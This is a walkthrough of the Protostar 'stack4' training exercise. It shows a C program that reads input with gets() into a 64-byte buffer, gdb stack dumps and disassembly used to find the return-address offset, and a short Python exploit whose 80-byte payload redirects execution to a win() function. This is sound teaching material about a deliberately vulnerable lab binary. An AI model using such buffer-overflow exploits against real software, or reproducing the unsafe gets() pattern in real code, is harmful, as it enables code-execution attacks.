Introduction
There is only one variable in this exercise, buffer, so the program can no longer execute logic by overwriting the variable value. This time we can directly overwrite the return address of the main function, so where is its return address?
source code
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 #include <string.h> 5 6 void win() 7 { 8 printf("code flow successfully changed\n"); 9 } 10 11 int main(int argc, char **argv) 12 { 13 char buffer[64]; 14 15 gets(buffer); 16 }
analyze
It can be seen that there is a win function in the program, but it is not called directly. Our purpose must be to let the execution flow of the program enter the win function. There is a variable buffer in the main function. After obtaining the user input through the gets function and assigning it to the buffer variable, the function execution ends, so here we need to carefully analyze the content distribution in the stack. If the input content is greater than 64 bytes, we will What area is covered? Recall the assembly instructions that need to be executed when the function is called, taking the main function as an example:
1 push argv 2 push argc 3 call main 4 main: 5 push ebp 6 mov ebp, esp 7 allocate space for local variables
So the distribution of data in the stack should be:
1 argv 2 argc 3 ret address 4 ebp 5 local variables
Let's verify our analysis by debugging the program.
Debugger
1 (gdb) b 16 2 Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16. 3 (gdb) r 4 Starting program: /opt/protostar/bin/stack4 5 abcd 6 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16 8 16 stack4/stack4.c: No such file or directory. 9 in stack4/stack4.c 10 (gdb) print $ebp 11 $1 = (void *) 0xbffffcb8 12 (gdb) print $esp 13 $2 = (void *) 0xbffffc60 14 (gdb) x/32xw $esp 15 0xbffffc60: 0xbffffc70 0xb7ec6165 0xbffffc78 0xb7eada75 16 0xbffffc70: 0x64636261 0x08049500 0xbffffc88 0x080482e8 17 0xbffffc80: 0xb7ff1040 0x080495ec 0xbffffcb8 0x08048449 18 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffffcb8 19 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4 20 0xbffffcb0: 0x08048430 0x00000000 0xbffffd38 0xb7eadc76 21 0xbffffcc0: 0x00000001 0xbffffd64 0xbffffd6c 0xb7fe1848 22 0xbffffcd0: 0xbffffd20 0xffffffff 0xb7ffeff4 0x0804824b 23 (gdb) info address win 24 Symbol "win" is a function at address 0x80483f4.
The part marked in red is the content of the buffer.
From the debugging output, you can see that argc=1, argv=0xbffffd64, which is exactly the content of 0xbffffcc0, so the green word is the return address of the main function, and the orange word is the ebp value of the previous stack frame. But why are there still eight bytes of content at 0xbffffcb0? We can take a look at the disassembly code of the main function:
1 (gdb) disass main 2 Dump of assembler code for function main: 3 0x08048408 <main+0>: push %ebp 4 0x08048409 <main+1>: mov %esp,%ebp 5 0x0804840b <main+3>: and $0xfffffff0,%esp 6 0x0804840e <main+6>: sub $0x50,%esp 7 0x08048411 <main+9>: lea 0x10(%esp),%eax 8 0x08048415 <main+13>: mov %eax,(%esp) 9 0x08048418 <main+16>: call 0x804830c <gets@plt> 10 0x0804841d <main+21>: leave 11 0x0804841e <main+22>: ret 12 End of assembler dump.
You can see that the code at 0x0804840b aligns the value of esp once, and it is this alignment that adds 8 bytes of data to the stack.
Therefore, if we want to overwrite the return address of the main function, so that the execution logic of the program enters the win function, we need to construct a payload of 80 bytes, and the payload ends with 0xf4830408.
Written by EXPLOIT
After knowing how to write the payload, the exploit is easy to write, and the code is given directly:
1 import subprocess 2 proc = subprocess.Popen("/opt/protostar/bin/stack4", stdin=subprocess.PIPE) 3 payload = "61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161f4830408" 4 proc.communicate(payload.decode("hex"))
Output result:
$ python exploit4.py
code flow successfully changed